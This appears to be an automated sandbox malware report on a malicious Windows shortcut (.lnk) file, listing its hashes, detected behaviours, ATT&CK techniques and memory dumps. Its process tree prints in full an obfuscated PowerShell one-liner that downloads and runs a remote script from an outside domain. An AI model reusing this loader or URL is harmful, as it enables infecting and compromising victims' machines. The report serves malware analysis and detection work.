ba49f84ec40ec3ce2eea904afc6e99272e2c3bebc416f5d4545b634f5c803f8c

Analysis

max time kernel
137s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
23/07/2024, 05:36

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General

Target

857574b7d5e60f321426138e7818b51aa5b35777ecbbda67a0f037b8dca5c370.lnk
Size

1KB
MD5

a8b80a217c7bb974aed24cf06be80f21
SHA1

10319986b3a95db00649de244ab08aa86b8d7343
SHA256

857574b7d5e60f321426138e7818b51aa5b35777ecbbda67a0f037b8dca5c370
SHA512

324c6fc9454dd752a2aa67e39796aea394bd682a14086c19cd411bf1ac9eee26b4e8b2ea7a25e59a222902fceac07068938d1596c5e085c7bd7bfac300e16d47

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	4604	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4604	powershell.exe
4604	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4604	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 4604	2100	cmd.exe	85
PID 2100 wrote to memory of 4604	2100	cmd.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\857574b7d5e60f321426138e7818b51aa5b35777ecbbda67a0f037b8dca5c370.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${.*} = $PSHOME[+82 -83 +1] + $PSHOME[-13 +4] + 'A' + $PSHOME[-77 +66];${ap*f} = $([TYPE]${.*});${.**} = ${ap*f}::ToString(+79 -1 -5);${.**..} = ${ap*f}::ToString(+79 -1 -5 -4);${..***} = ${ap*f}::ToString(+79 +30 -10 +21);&(${.**} +${.**..} + ${..***})((.($PSHOME[+82 -83 +1]+'u'+$PSHOME[-77 +66]+$PSHOME[-51 +45])('https://e-taxes.info/sosoakcouas.txt')).Content)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4604

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_shpdg2yx.o4g.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4604-2-0x00007FF8E66B3000-0x00007FF8E66B5000-memory.dmp

Filesize
8KB

Download
memory/4604-8-0x000001D4CA800000-0x000001D4CA822000-memory.dmp

Filesize
136KB

Download
memory/4604-13-0x00007FF8E66B0000-0x00007FF8E7171000-memory.dmp

Filesize
10.8MB

Download
memory/4604-14-0x00007FF8E66B0000-0x00007FF8E7171000-memory.dmp

Filesize
10.8MB

Download
memory/4604-15-0x00007FF8E66B0000-0x00007FF8E7171000-memory.dmp

Filesize
10.8MB

Download
memory/4604-17-0x00007FF8E66B3000-0x00007FF8E66B5000-memory.dmp

Filesize
8KB

Download
memory/4604-16-0x00007FF8E66B0000-0x00007FF8E7171000-memory.dmp

Filesize
10.8MB

Download
memory/4604-18-0x00007FF8E66B0000-0x00007FF8E7171000-memory.dmp

Filesize
10.8MB

Download
memory/4604-21-0x00007FF8E66B0000-0x00007FF8E7171000-memory.dmp

Filesize
10.8MB

Download
memory/4604-22-0x00007FF8E66B0000-0x00007FF8E7171000-memory.dmp

Filesize
10.8MB

Download